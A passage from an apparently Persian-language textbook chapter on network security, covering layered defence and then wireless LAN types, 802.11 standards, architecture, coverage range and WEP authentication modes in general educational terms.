ي كه بصورت مناسب پيكربندي نشده ـ سرورهاي ايميل  بازپخش ايميل ها بصورت نامجاز  8-3-2

اند يك دليل عمده براي ارسال هرزنامه ها بشمار مي روند. بسياري از شركت هاي هرزنامـه سـاز در پيـدا    

  متخصص هستند.  ،كردن اين سرورها و ارسال صدها و هزاران پيام هرزنامه به اين سرورها

يـك سيسـتم را از   ، آسيب پذيري ها ـ تعدادي از  دستكاري ميزبان دور در سطح سيستم   ·8-3-3

راه دور در اختيار حمله كننده قرار مي دهند. بيشتر اين نوع كنترل ها در سـطح سيسـتم اسـت و بـه حملـه      

  كننده اختياراتي برابر با مدير محلي سيستم مي دهد. 

ـ توانايي آسان بكارگيري يك وب سرور  فراهم بودن سرويس هاي اينترنتي غيرمجاز   ·8-3-4

يا سرويس اينترنتي ديگر روي يك كامپيوتر ريسك افشاي سهوي اطلاعات را بالا مي برد. اغلـب چنـين   

  سرويس هايي كشف نمي شوند، در حالي كه در شعاع رادار ديگران قرار مي گيرند!

ـ در حالي كه برنامه ضدويروس در تشخيص ويروس ها مهارت   تشخيص فعاليت ويروسي   ·8-3-5

افزار براي تشخيص فعاليت ويروسي طراحي نشده اسـت. در ايـن شـرايط بكـارگيري يـك      دارد، اين نرم 

  شبكه براي تشخيص اين نوع فعاليت بسيار مناسب است. IDSبرنامه تشخيص نفوذ يا 

   
  نتيجه گيري

طور فزاينده اي اقدام به حمله به شبكه ها مي كننـد. رويكـرد   ه هكرها و تروريست هاي فضاي سايبر ب

امنيت ـ يعنـي يـك فـايروال در تركيـب بـا يـك آنتـي ويـروس ـ در محافظـت از شـما در برابـر               سنتي به 

  تهديدهاي پيشرفته امروزي ناتوان است.
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اما شما مي توانيد با برقراري امنيت شبكه با استفاده از رويكرد لايه بندي شده دفاع مسـتحكمي ايجـاد   

  وجود در شبكه تان (پيرامون، شبكه، ميزبان، برنامهكنيد. با نصب گزينشي ابزارهاي امنيتي در پنج سطح م

و ديتا) مي توانيد از دارايي هاي ديجيتالي خود محافظت كنيد و از افشـاي اطلاعـات خـود در اثـر ايجـاد      

   بار تا حد زيادي بكاهيد.  رخنه هاي مصيبت

 سيم هاي بي امنيت در شبكه 8-4

  مقدمه 
نياي كنوني هرچه بيشتر در حال گسـترش هسـتند، و بـا توجـه بـه      هاي بي سيم، در د كه شبكه جا از آن    

تـرين نكتـه در راه اسـتفاده از ايـن      اند، مهم هاي راديويي ها، كه بر اساس سيگنال ماهيت اين دسته از شبكه

ها،  ست. نظر به لزوم آگاهي از خطرات استفاده از اين شبكه تكنولوژي، آگاهي از نقاط قوت و ضعف آن

سـطح قابـل قبـولي از بعـد امنيتـي       توان بـه  مدد پيكربندي صحيح مي ها كه به انات نهفته در آنبا وجود امك

ضـمن معرفـي ايـن    » امنيت در شبكه هاي بي سـيم «دست يافت، بنا داريم در اين سري از مقالات با عنوان 

حملات را كاهش  داد هاي پيكربندي صحيح كه احتمال رخ ها، به روش ها با تأكيد بر ابعاد امنيتي آن شبكه

  دهند بپردازيم. مي

   
  سيم، كاربردها، مزايا و ابعاد هاي بي شبكه 8-4-1

تـرين صـورت،    ها توسط اموج راديويي، در ساده سيم، با استفاده از انتقال داده هاي بي تكنولوژي شبكه    

م و كابـل، بـا   اسـتفاده از بسـترهاي فيزيكـي همچـون سـي      دهد تا بدون افزاري امكان مي به تجهيزات سخت

يي چـون   ي وسيعي از كاربردها، از ساختارهاي پيچيده سيم بازه هاي بي يكديگر ارتباط برقرار كنند. شبكه

سـيم   هـاي محلـي بـي    و شـبكه  -شود هاي همراه استفاده مي كه اغلب براي تلفن-سيم سلولي  هاي بي شبكه

(WLAN – Wireless LAN) شوند. از  سيم، را شامل مي بي هاي يي چون هدفون گرفته تا انوع ساده

سوي ديگر با احتساب امواجي همچون مادون قرمز، تمامي تجهيزاتي كه از امواج مادون قرمز نيز اسـتفاده  

گيرنـد.   بندي جاي مي هاي همراه، در اين دسته ها و برخي از گوشي ماوس ها،  كنند، مانند صفحه كليد مي

عدم نياز به ساختار فيزيكي و امكان نقل و انتقال تجهيزات متصل  ها ترين مزيت استفاده از اين شبكه طبيعي
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هاسـت. از نظـر ابعـاد سـاختاري،      چنين امكان ايجاد تغيير در سـاختار مجـازي آن   ها و هم گونه شبكه به اين

  .WPANو  WWAN ،WLANگردند :  سيم به سه دسته تقسيم مي هاي بي شبكه

سـيم بالاسـت.    هـايي بـا پوشـش بـي     ست، شـبكه ا Wireless WAN، كه مخفف WWANمقصود از 

 WLAN  هاي تلفـن همـراه اسـت.    سيم سلولي مورد استفاده در شبكه ها، ساختار بي يي از اين شبكه نمونه

پوششي محدودتر، در حد يك ساختمان يا سازمان، و در ابعاد كوچـك يـك سـالن يـا تعـدادي اتـاق، را       

بـراي   Wireless Personal Area Networkيـا   WPANهـاي   كنـد. كـاربرد شـبكه    فراهم مـي 

  گيرند.  و مادون قرمز در اين دسته قرار مي Bluetoothگي است. ارتباطاتي چون  موارد خانه

 Adهاي  گيرند. در شبكه نيز قرار مي Ad Hocهاي  ي شبكه از سوي ديگر در دسته WPANهاي  شبكه

hocشود.  صورت پويا به شبكه اضافه مي همحض ورود به فضاي تحت پوشش آن، ب افزار، به ، يك سخت

است. در اين نـوع، تجهيـزات مختلفـي از جملـه صـفحه كليـد،        Bluetoothها،  مثالي از اين نوع شبكه

ماوس، چاپگر، كامپيوتر كيفي يا جيبي و حتي گوشي تلفن همراه، در صورت قرارگرفتن در محيط تحت 

يابنـد. تفـاوت    ديگر تجهيزات متصل به شـبكه را مـي   ها با پوشش، وارد شبكه شده و امكان رد و بدل داده

عبـارت   هاست. به در ساختار مجازي آن (WLAN)سيم  هاي محلي بي با شبكه Ad hocهاي  ميان شبكه

 Ad hocهاي  كه شبكه ي طرحي ايستاست درحالي سيم بر پايه هاي محلي بي ديگر، ساختار مجازي شبكه

گـان فـراهم    ر كنار مزايـايي كـه ايـن پويـايي بـراي اسـتفاده كننـده       ست كه د از هر نظر پويا هستند. طبيعي

با اين وجود، عملاً يكـي از راه   هايي نيز با مشكلات بسياري همراه است. كند، حفظ امنيت چنين شبكه مي

، كاسـتن  Bluetoothها، خصوصاً در انواعي همچون  هاي موجود براي افزايش امنيت در اين شبكه حل

بـر   Bluetoothكـرد   هاي شبكه است. در واقع مستقل از اين حقيقت كـه عمـل   نالاز شعاع پوشش سيگ

يي  توجه توان استوار است و اين مزيت در كامپيوترهاي جيبي برتري قابل هاي كم اساس فرستنده و گيرنده

ي محـدود تحـت پوشـش     افزار مربوطه، موجب وجـود منطقـه   گردد، همين كمي توان سخت محسوب مي

همـراه اسـتفاده از    عبارت ديگـر ايـن مزيـت بـه     گردد. به رسي امنيتي نيز مزيت محسوب مياست كه در بر

  آيند. حساب مي ها به هاي امنيتي اين دسته از شبكه چندان پيچيده، تنها حربه كدهاي رمز نه
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  سيم و خطرات معمول هاي بي منشأ ضعف امنيتي در شبكه 8-4-2

يم مستقل از پروتكل و تكنولوژي مورد نظر، بـر مزيـت اصـلي    س هاي بي ي شبكه خطر معمول در كليه    

جـاي سـيم و كابـل،     بـه  هاي راديويي  اين تكنولوژي كه همان پويايي ساختار، مبتني بر استفاده از سيگنال

ها و در واقع بدون مـرز سـاختن پوشـش سـاختار شـبكه، نفـوذگران        استوار است. با استفاده از اين سيگنال

عنـوان عضـوي از ايـن     ها، خود را به مند اين شبكه چندان قدرت كستن موانع امنيتي نهقادرند در صورت ش

يـابي بـه اطلاعـات حيـاتي، حملـه بـه سـرويس         ها جازده و در صورت تحقق اين امر، امكـان دسـت   شبكه

هاي شـبكه بـا يكـديگر،     گان سازمان و مجموعه، تخريب اطلاعات، ايجاد اختلال در ارتباطات گره دهنده

هـاي مخـرب    باند مؤثر شبكه و ديگر فعاليت كننده، سوءاستفاده از پهناي هاي غيرواقعي و گمراه يد دادهتول

  وجود دارد. 

  سيم، از ديد امنيتي حقايقي مشترك صادق است : هاي بي هاي شبكه در مجموع، در تمامي دسته

   
سـيم نيـز صـدق     هـاي بـي   هاي سـيمي، در مـورد شـبكه    هاي امنيتي موجود در شبكه تمامي ضعف •

يـي چـه از لحـاظ طراحـي و چـه از لحـاظ سـاختاري، خـاص          كند. در واقع نه تنها هيچ جنبـه  مي

سيم وجود ندارد كه سطح بالاتري از امنيت منطقي را ايجاد كند، بلكه همـان گونـه    هاي بي شبكه

  يي را نيز موجب است. كه ذكر شد مخاطرات ويژه

راحتي به منابع اطلاعـاتي موجـود بـر روي     توانند به جود، مينفوذگران، با گذر از تدابير امنيتي مو •

  يي دست يابند. هاي رايانه سيستم

اند، و ميان دو گره در  اند و يا با روشي با امنيت پايين رمز شده يي كه يا رمز نشده اطلاعات حياتي •

   تغيير يابند.توانند توسط نفوذگران سرقت شده يا  باشند، مي سيم در حال انتقال مي هاي بي شبكه

  سيم بسيار متداول است. هاي بي به تجهيزات و سيستم DoSهاي  حمله •

سيم،  هاي بي نفوذگران با سرقت كدهاي عبور و ديگر عناصر امنيتي مشابه كاربران مجاز در شبكه •

  ي مورد نظر بدون هيچ مانعي متصل گردند. توانند به شبكه مي
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نـد رفتـار يـك كـاربر را پـايش كنـد. از ايـن طريـق         توا با سرقت عناصر امنيتي، يك نفوذگر مـي  •

  توان به اطلاعات حساس ديگري نيز دست يافت. مي

سـيم را دارنـد،    ي بـي  ي اسـتفاده از شـبكه   كامپيوترهاي قابل حمل و جيبـي، كـه امكـان و اجـازه     •

توان اولين قـدم بـراي نفـوذ بـه      راحتي قابل سرقت هستند. با سرقت چنين سخت افزارهايي، مي به

  بكه را برداشت.ش

ي سيمي  سيم در يك سازمان و شبكه ي بي تواند از نقاط مشترك ميان يك شبكه يك نفوذگر مي •

گردد) استفاده كرده و با نفـوذ   تري محسوب مي ي اصلي و حساس آن (كه در اغلب موارد شبكه

  ي سيمي نيز بيابد. يابي به منابع شبكه سيم عملاً راهي براي دست ي بي به شبكه

سيم، امكـان ايجـاد خـتلال در     ي بي ي يك شبكه سطحي ديگر، با نفوذ به عناصر كنترل كنندهدر  •

  كرد شبكه نيز وجود دارد. عمل

   
هـاي، بـا تفكيـك     هـاي ايـن شـبكه    گـي  تـوانيم بـه ويـژه    مـي  بخـش بعـدي  ي ذكـر شـده، در    با مقدمـه     

سـيم را،   ي بـي  ي صـحيح يـك شـبكه   گي پيكربند هاي مرسوم، از بعد امنيتي بپردازيم و چگونه تكنولوژي

  براي بالابردن امنيت آن، بررسي كنيم.

 سيم هاي بي امنيت در شبكه 8-4-3

   
   سيم هاي محلي بي شبكه 8-4-3-1

كرد اين  پردازيم. اطلاع از ساختار و روش عمل سيم مي بي  هاي محلي شبكه  به مرور كلي در اين قسمت   

  رسد. نظر مي بررسي امنيتي لازم بهها، حتي به صورت جزءيي، براي  شبكه

   

  پيشينه

گردد. مانند هـر تكنولـوژي ديگـري،     ميلادي باز مي 80ي  به اوايل دهه WLANتكنولوژي و صنعت     

، IEEE 802.11bي اسـتاندارد   پذيرفت. با ارايه سيم به كندي صورت مي بي  هاي محلي پيشرفت شبكه

سـاخت، اسـتفاده از ايـن تكنولـوژي      پـذير مـي   هاي محلـي امكـان   كهكه پهناي باند نسبتاً بالايي را براي شب
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ي  هـا و اسـتانداردهاي خـانواده    تمامي پروتكـل  WLANوسعت بيشتري يافت. در حال حاضر، مقصود از 

IEEE 802.11 دهد  است. جدول زير اختصاصات اين دسته از استانداردها را به صورت كلي نشان مي  

   

  
   
سازي شد. اين شبكه، به عنوان يك نمونه  پياده Motorolaسيم تجاري توسط  ي محلي بي اولين شبكه   

از همـان  صرفه نبـود.   كرد كه ابداً مقرون به يي بالا و پهناي باندي پايين را تحميل مي ها، هزينه از اين شبكه

شـروع شـد. پـس از     IEEEدر  802.11ي اسـتاندارد   مـيلادي، پـروژه   90ي  زمان به بعد، در اوايل دهه

نهايي شده  IEEEتوسط  802.11bو  802.11aاستانداردهاي  1999سال كار، در سال  9نزديك به 

فركـانس حامـل    ، بـا اسـتفاده از  aي ايـن اسـتانداردها آغـاز شـد. نـوع       و توليد محصولات بسياري بر پايه

5GHz 54، پهناي باندي تاMbps كه نـوع   كند. در حالي را فراهم ميb      بـا اسـتفاده از فركـانس حامـل

2.4GHz 11، تاMbps هـاي قابـل اسـتفاده در     كند. با اين وجود تعداد كانال پهناي باند را پشتيباني مي

كنـد.   وجه به كشور مورد نظر، تفاوت مـي ها، با ت تر است. تعداد اين كانال ، بيشaدر مقايسه با نوع  bنوع 

  است.  802.11bاستاندارد  WLANدر حالت معمول، مقصود از 

شـود. ايـن    شناخته مي 802.11gمعرفي شده است كه به  IEEEگي توسط  ه تاز استاندارد ديگري نيز به 

توانـد   ني مـي هـاي نـوي   كند ولي با استفاده از روش عمل مي 2.4GHzاستاندارد بر اساس فركانس حامل 
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بالا ببرد. توليد محصولات بـر اسـاس ايـن اسـتاندارد، كـه مـدت        54Mbpsپهناي باند قابل استفاده را تا 

آن   سال است كه آغاز شده و با توجه سازگاري گذرد، بيش از يك شدن و معرفي آن نمي زيادي از نهايي

  آرام در حال گسترش است.سيم آرام  هاي بي ، استفاده از آن در شبكه802.11bبا استاندارد 

  سيم بي  هاي محلي شبكه  معماري 1- 8-4-3-1

دهد كه به دو روش ارتباط در شبكه برقرار شود. اين دو  به تجهيزات اجازه مي 802.11bاستاندارد     

كـار   بـه  Ad hocهـاي   گونه در شـبكه  همان–ارتباط به صورت نقطه به نقطه   اند از برقراري روش عبارت

  . (AP=Access Point)و اتصال به شبكه از طريق نقاط تماس يا دسترسي  -رود مي

، عمـلاً  APاسـت. بـا نصـب يـك      APسـيم بـر مبنـاي اسـتفاده از      بي  هاي محلي معمول در شبكه  معماري

افزار مجهز بـه امكـان ارتبـاط بـر      توان يك سخت هايي مي شود و با روش مرزهاي يك سلول مشخص مي

پوشـش   APيـي كـه يـك     هـاي مختلـف حركـت داد. گسـتره     را ميان سلول 802.11bاساس استاندارد 

  هـاي يـك سـاختار كلـي     ي تمامي سـلول  نامند. مجموعه مي BSS(Basic Service Set)دهد را  مي

نامنـد. بـا    مـي  ESS(Extended Service Set)هـاي شـبكه اسـت، را    BSSشبكه، كه تركيبـي از  

  سيم درآورد.  بي  ي محلي تري را تحت پوشش شبكه ي وسيع توان گستره مي ESSاستفاده از 

سـيم   يي مجهز به يك مـودم بـي   افزارها كه معمولاً مخدوم هستند، كارت شبكه در سمت هريك از سخت

سيم، بـه بسـتر    ي بي علاوه بر ارتباط با چند كارت شبكه APكند.  ارتباط را برقرار مي APقرار دارد كه با 

هـاي مجهـز بـه     عه نيز متصل است و از ايـن طريـق ارتبـاط ميـان مخـدوم     ي سيمي مجمو تر شبكه پرسرعت

  دهد : شود. شكل زير نمايي از اين ساختار را نشان مي ي اصلي برقرار مي سيم و شبكه ي بي كارت شبكه
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سـيم بـر اسـاس سـاختار فـوق، كـه بـه نـوع          بـي   هـاي محلـي   گونـه كـه گفتـه شـد، اغلـب شـبكه       انهم    

Infrastructure هاي محلـي  شوند. با اين وجود نوع ديگري از شبكه سازي مي نيز موسوم است، پياده  

 Adمـاً  هـا كـه عمو   كنند. در ايـن شـبكه   نقطه استفاده مي به سيم نيز وجود دارند كه از همان منطق نقطه بي

hoc ماننـد   –افزارهـاي همـراه    براي دسترسي وجود ندارد و سـخت   ي مركزي شوند يك نقطه ناميده مي

ي تحـت پوشـش ايـن شـبكه، بـه       با ورود به محـدوده  –هاي موبايل  كامپيوترهاي كيفي و جيبي يا گوشي

تند و به همين منظـور  ي سيمي متصل نيس ها به بستر شبكه گردند. اين شبكه ديگر تجهيزات مشابه متصل مي

IBSS (Independent Basic Service Set) شوند. شكل زير شـمايي سـاده از    نيز خواند مي

   دهد : را نشان مي Ad hocي  يك شبكه

   
  



 

 

٧١

٧١

   
      

  

  

  

  

درون دفتر كار هستند كه در آنها نيازي به تعريف و   هاي محلي از سويي مشابه شبكه Ad hocهاي  شبكه

يي به عنوان خادم وجود ندارد. در اين صورت تمامي تجهيزات متصل به ايـن   ستم رايانهيك سي  پيكربندي

  ها به اشتراك بگذارند. هاي مورد نظر خود را با ديگر گره توانند پرونده شبكه مي

سيم پرداخته و شعاع پوشش اين دسته از  بي  ي محلي اجزاي فعال يك شبكه  بندي ، به دستهيبعد بخشدر 

  ا مورد بررسي قرار خواهيم داد.ها ر شبكه

  WLAN عناصر فعال و سطح پوشش 8-4-3-2

  سيم هاي محلي بي عناصر فعال شبكه

  سيم معمولاً دو نوع عنصر فعال وجود دارد : هاي محلي بي در شبكه    

  ايستگاه بي سيم -
ست كه توسـط  سيم به طور معمول يك كامپيوتر كيفي يا يك ايستگاه كاري ثابت ا ايستگاه يا مخدوم بي

توانـد از سـوي ديگـر يـك      شود. اين ايسـتگاه مـي   ي محلي متصل مي سيم به شبكه ي بي يك كارت شبكه

كه اسـتفاده از سـيم    كامپيوتر جيبي يا حتي يك پويش گر باركد نيز باشد. در برخي از كاربردها براي اين

هـا كـه معمـولاً در داخـل      پايانـه  سـاز اسـت، بـراي ايـن     يي براي طراح و مجري دردسر هاي رايانه در پايانه

كننـد. در   ي محلي استفاده مي سيم به شبكه شود، از امكان اتصال بي همين منظور تعبيه مي هايي به كيوسك

صورت سرخود مجهز هستند و نيازي  حال حاضر اكثر كامپيوترهاي كيفي موجود در بازار به اين امكان به

  ست. سيم ني ي بي كردن يك كارت شبكه به اضافه
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اسـت. در صـورت نيـاز بـه      PCMCIAهـاي   سيم عموماً بـراي اسـتفاده در چـاك    ي بي هاي شبكه كارت 

ها را بر روي  ها براي كامپيوترهاي روميزي و شخصي، با استفاده از رابطي اين كارت استفاده از اين كارت

  كنند. نصب مي PCIهاي گسترش  چاك

   
  نقطه ي دسترسي -

هـاي پـيش نيـز در مـورد آن صـحبت شـد،        گونه كه در قسمت سيم، همان بي هاي نقاط دسترسي در شبكه 

كرده، امكـان اتصـال بـه     سيم را بازي هاي بي سخت افزارهاي فعالي هستند كه عملاً نقش سوييچ در شبكه

شبكه هاي سيمي را نيز دارند. در عمل ساختار بستر اصلي شبكه عموماً سـيمي اسـت و توسـط ايـن نقـاط      

  گردد. ي سيمي اصلي متصل مي سيم به شبكه هاي بي ها و ايستگاه مخدوم ،دسترسي

   
  برد و سطح پوشش

   
گـي دارد كـه    به فاكتورهاي بسياري بسـته  802.11سيم بر اساس استاندارد  ي بي شعاع پوشش شبكه    

  ها به شرح زير هستند : برخي از آن

   
  پهناي باند مورد استفاده        -

  ها ها و گيرنده ارسالي و محل قرارگيري فرستندهمنابع امواج         -

  سيم ي بي مشخصات فضاي قرارگيري و نصب تجهيزات شبكه        -

  قدرت امواج        -

  نوع و مدل آنتن        -

   
متر (براي فضاهاي باز) در 485ي داخلي) و  متر (براي فضاهاي بسته29شعاع پوشش از نظر تئوري بين     

مقاديري متوسـط هسـتند و در حـال حاضـر بـا       ،وجود اين مقادير متغير است. با اين 802.11bاستاندارد 
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گيرند، امكان استفاده از ايـن   مندي كه مورد استفاده قرار مي هاي نسبتاً قدرت ها و فرستنده توجه به گيرنده

  اند. عملي آن فراوانهاي  هاي آن، تا چند كيلومتر هم وجود دارد كه نمونه ها و فرستنده پروتكل و گيرنده

   
 50شود چيزي ميان  ) ذكر مي802.11bيي كه براي استفاده از اين پروتكل ( با اين وجود شعاع كلي    

هـاي چنـد طبقـه نيـز      هاي بسته و ساختمان ست كه براي محل كرد مقداري متر است. اين شعاع عمل100تا 

  تواند مورد استناد قرار گيرد. معتبر بوده و مي

   
سـيم مبتنـي بـر پروتكـل      هاي بـي  ي ميان بردهاي نمونه در كاربردهاي مختلف شبكهي كل زير مقايسهش    

802.11b دهد : را نشان مي  

   

  
   

سـيم   هاي بي سيم، عمل اتصال ميان حوزه هاي بي كردهاي نقاط دسترسي به عنوان سوييچ يكي از عمل    

هاي  براي شبكه Bridgeكردي مشابه  توان عمل سيم مي عبارت ديگر با استفاده از چند سوييچ بي است. به

  آورد.  دست سيم را به بي

نقطـه، بـراي ايجـاد اتصـال ميـان دو زيرشـبكه بـه         به تواند به صورت نقطه رسي مي اتصال ميان نقاط دست 

هـاي مختلـف بـه     يي به چند نقطه يا بالعكس براي ايجاد اتصال ميان زيرشـبكه  ديگر، يا به صورت نقطهيك

  صورت همزمان صورت گيرد. يكديگر به
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شـوند از قـدرت    هاي محلي با يكـديگر اسـتفاده مـي    يي كه به عنوان پل ارتباطي ميان شبكه نقاط دسترسي

افزارهـا   معنـاي شـعاع پوشـش بـالاتر اسـت. ايـن سـخت        و اين بهكنند  بالاتري براي ارسال داده استفاده مي

تا  1ها از يكديگر بين  ي آن روند كه فاصله كار مي هايي به معمولاً براي ايجاد اتصال ميان نقاط و ساختمان

 802.11bيـي متوسـط بـر اسـاس پروتكـل       كيلومتر است. البته بايد توجه داشت كه اين فاصله، فاصله 5

  دست آورد. توان فواصل بيشتري را نيز به مي 802.11aهاي ديگري چون  كلاست. براي پروت

   
  دهد : رسي مناسب را نشان مي يي از ارتباط نقطه به نقطه با استفاده از نقاط دست شكل زير نمونه

   
   
 

  
   

سـيم   ي شعاع پوشش شبكه هـاي بـي   توان به امكان توسعه هاي نقاط دسترسي با برد بالا مي از ديگر استفاده

ي  توان از چند نقطه سيم، مي ي بي اشاره كرد. به عبارت ديگر براي بالابردن سطح تحت پوشش يك شبكه

نـوان نمونـه در مثـال بـالا     صورت همزمان و پشت به پشت يكديگر استفاده كرد. به ع سيم به رسي بي دست

هـا، سـطح پوشـش شـبكه را تـا       ي ديگر در بـالاي هريـك از سـاختمان    توان با استفاده از يك فرستنده مي

  هاي ديگر گسترش داد.  ساختمان

هاي امن  سيم و ذكر مقدماتي در مورد روش هاي محلي بي بعد به مزاياي معمول استفاده از شبكهبخش در 

  ردازيم.پ ها مي سازي اين شبكه
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  802.11هاي محلي بر اساس استاندارد  امنيت در شبكه 8-4-3-2
ها پرداختيم، از  سيم محلي و عناصر آن هاي بي در مورد شبكه يي به مقدمه يقبل بخشكه در سه  پس از آن 

 IEEEسيم مبتني بر استاندارد  هاي محلي بي سازي شبكه ها و استانداردهاي امن اين قسمت بررسي روش

هاي آن آگـاه   توان از محدوديت هاي امنيتي اين استاندارد، مي كنيم. با طرح قابليت را آغاز مي 802.11

  شد و اين استاندارد و كاربرد را براي موارد خاص و مناسب مورد استفاده قرار داد.

سـيم در اختيـار    هاي مجزا و مشخصي را براي تأمين يك محيط امن بـي  سرويس 802.11استاندارد     

 WEP (Wired Equivalent Privacy)هـا اغلـب توسـط پروتكـل      ايـن سـرويس    دهد. رار ميق

سـيم اسـت. درك    ها و نقاط دسترسي بـي  سازي ارتباط ميان مخدوم ها امن ي آن وظيفه گردند و  تأمين مي

ل كـل  يي دارد، به عبارت ديگر اين پروتك پردازد اهميت ويژه سازي آن مي يي كه اين پروتكل به امن لايه

 802.11سيم كه مبتنـي بـر اسـتاندارد     ي ارتباطي بي هاي ديگر، غير از لايه ارتباط را امن نكرده و به لايه

معنـي اسـتفاده از    سيم به ي بي در يك شبكه WEPست كه استفاده از ااست، كاري ندارد. اين بدان معني 

كل ارتباط نيست زيرا امكان قصـور  سيم است و ضامن امنيت  هاي محلي بي قابليت دروني استاندارد شبكه

  از ديگر اصول امنيتي در سطوح بالاتر ارتباطي وجود دارد.

   

  
   

  دهد. شان مي) را نWEP(خصوصاً  802.11ي عمل كرد استانداردهاي امنيتي  شكل بالا محدوده    
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     802.11و ابعاد امنيتي استاندارد  ها قابليت 8-4-3-2 
   

سـيم بـر اسـاس     هاي بي در شبكهرا در حال حاضر عملاً تنها پروتكلي كه امنيت اطلاعات و ارتباطات     

هايي كه دارد، نـوع اسـتفاده    است. اين پروتكل با وجود قابليت WEPكند  فراهم مي 802.11استاندارد 

يـي   كنـد. نكتـه   سيم را به نحوي، ولو سخت و پيچيده، فراهم مي هاي بي آن همواره امكان نفوذ به شبكه از

سـيم،   هاي محلي بي ست كه اغلب حملات موفق صورت گرفته در مورد شبكه خاطر داشت اين كه بايد به

پيكربنـدي  در شبكه دارد. به عبارت ديگـر ايـن پروتكـل در صـورت      WEPريشه در پيكربندي ناصحيح 

نفسـه دچـار نـواقص و ايرادهـايي نيـز       گذارد، هرچند كه فـي  صحيح درصد بالايي از حملات را ناكام مي

  هست.

ست كـه نقـاط دسترسـي بـا     اگيرد از سويي  سيم انجام مي هاي بي بسياري از حملاتي كه بر روي شبكه    

هـاي ارتبـاطي    ا اسـتفاده از راه ي سيمي داراي اشتراك هستند. بـه عبـارت ديگـر نفـوذگران بعضـاً ب ـ      شبكه

سـيم، وجـود دارد، بـه     هـاي بـي   سيم، خصوصاً مخـدوم  افزارهاي بي ها و سخت ديگري كه بر روي مخدوم

ي اشـتراكي هرچنـد جزءيـي ميـان امنيـت در       كننـد كـه ايـن مقولـه نشـان دهنـده       سيم نفوذ مي ي بي شبكه

  كي با يكديگر اشتراك دارند.ست كه از نظر ساختاري و فيزي يي سيم بيو  يهاي سيم شبكه

   
  گردد : سيم تعريف مي هاي محلي بي براي شبكه IEEEسه قابليت و سرويس پايه توسط   

·         Authentication  
سـيم اسـت. ايـن عمـل كـه در واقـع        ايجاد امكاني براي احراز هويت مخدوم بـي  WEPهدف اصلي     

هـايي را كـه    انيزم سعي دارد كه امكـان اتصـال مخـدوم   سيم است. اين مك ي بي رسي به شبكه كنترل دست

  مجاز نيستند به شبكه متصل شوند از بين ببرد.
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·         Confidentiality  
  ايجاد امنيتي در با هدف WEPها و خدمات  است. اين بعد از سرويس WEPگي هدف ديگر  محرمانه 

جلـوگيري از سـرقت    WEPش از هاي سيمي طراحي شـده اسـت. سياسـت ايـن بخ ـ     حدود سطوح شبكه

  سيم است. ي محلي بي اطلاعات در حال انتقال بر روي شبكه

   
·         Integrity  

ها و اطلاعات در  ست كه تضمين كند پياماطراحي سياستي  WEPهاي  ها و قابليت هدف سوم از سرويس

ن انتقـال دچـار تغييـر    سـيم و نقـاط دسترسـي، در حـي     هـاي بـي   حال تبادل در شبكه، خصوصاً ميان مخدوم

وبـيش وجـود    هاي ارتباطـاتي ديگـر نيـز كـم     گردند. اين قابليت در تمامي استانداردها، بسترها و شبكه نمي

  دارد. 

   
و  Auditingهـاي معمـول    وجـود دارد نبـود سـرويس    WEPي مهمي كه در مورد سـه سـرويس    نكته 

Authorization تكل است.هاي ارايه شده توسط اين پرو در ميان سرويس  

   
سيم به بررسي هريـك از ايـن سـه سـرويس      هاي محلي بي هاي بعدي از بررسي امنيت در شبكه بخش در 

  پردازيم. مي

  WEP - Authenticationهاي امنيتي  سرويس 
سيم بـر   هاي بي سازي ارتباطات در شبكه كه عملاً تنها روش امن WEPدر قسمت قبل به معرفي پروتكل  

  است پرداختيم و در ادامه سه سرويس اصلي اين پروتكل را معرفي كرديم.  802.11مبناي استاندارد 

  پردازيم. ، ميAuthenticationدر اين قسمت به معرفي سرويس اول، يعني 

Authentication  
سيم را  ي بي دو روش براي احراز هويت كاربراني كه درخواست اتصال به شبكه 802.11استاندارد     

سـت و ديگـري از رمزنگـاري     كنند، دارد كه يك روش بر مبنـاي رمزنگـاري   ارسال مي به نقاط دسترسي

  كند. استفاده نمي
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  دهد : ها نشان مي را در اين شبكه Authenticationشكل زير شمَايي از فرايند      

   

  
   

كنـد و   اسـتفاده مـي   RC4گونه كه در شكل نيز نشان داده شده است، يك روش از رمزنگـاري   همان    

  كند. يي استفاده نمي روش ديگر از هيچ تكنيك رمزنگاري

   
Authentication بدون رمزنگاري  

ر هر دو در روشي كه مبتني بر رمزنگاري نيست، دو روش براي تشخيص هويت مخدوم وجود دارد. د     

ي دسترسـي را بـا پيـامي     روش مخدومِ متقاضي پيوستن به شبكه، درخواست ارسال هويت از سـوي نقطـه  

  دهد. پاسخ مي SSID (Service Set Identifier)حاوي يك 

   
خالي نيـز   SSIDموسوم است، يك  Open System Authenticationدر روش اول كه به     

هـايي كـه    كنـد. در واقـع در ايـن روش تمـامي مخـدوم      كفايت مـي  ي اتصال به شبكه براي دريافت اجازه

شـوند و تنهـا آدرس    رو مي كنند با پاسخ مثبت روبه تقاضاي پيوستن به شبكه را به نقاط دسترسي ارسال مي

 NULL Authenticationهمين دليل به اين روش  شود. به داري مي ي دسترسي نگاه ها توسط نقطه آن

  شود. نيز اطلاق مي
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گردد با ايـن تفـاوت كـه     ي دسترسي ارسال مي به نقطه SSIDدر روش دوم از اين نوع، بازهم يك      

ي ارسال شده SSIDگردد كه  ي دسترسي صادر مي ي اتصال به شبكه تنها در صورتي از سوي نقطه اجازه

ــزو  ــه     SSIDج ــن روش ب ــند. اي ــبكه باش ــه ش ــي ب ــراي دسترس ــاز ب ــاي مج  Closed Systemه

Authentication .موسوم است  

سـت كـه ايـن روش در اختيـار مـا       يي كه در اين ميان اهميت بسياري دارد، توجه به سطح امنيتي نكته     

دهند و عملاً تنها راهي براي آگاهي  گذارد. اين دو روش عملاً روش امني از احراز هويت را ارايه نمي مي

كـه امنيـت در ايـن حـالات      جـايي  وصـف از آن كننده هستند. با اين  نسبي و نه قطعي از هويت درخواست

تجربـه و مبتـدي، بـه     تضمين شده نيست و معمـولاً حمـلات موفـق بسـياري، حتـي توسـط نفـوذگران كـم        

دهد، لذا اين دو روش تنهـا در حـالتي كـاربرد     كنند، رخ مي ها عمل مي هايي كه بر اساس اين روش شبكه

اطلاعات حياتي نيست، يا احتمال رخداد حمله بـه آن   يي در حال ايجاد است كه حاوي دارند كه يا شبكه

هـاي   كـه ماننـد شـبكه    –سـيم   ي بي ي يك شبكه بسيار كم است. هرچند كه با توجه پوشش نسبتاً گسترده

اطمينـان از شـانس پـايين     –سيمي امكان محدودسازي دسترسي به صـورت فيزيكـي بسـيار دشـوار اسـت      

  دادن حملات نيز خود تضميني ندارد! رخ

Authentication  با رمزنگاريRC4  
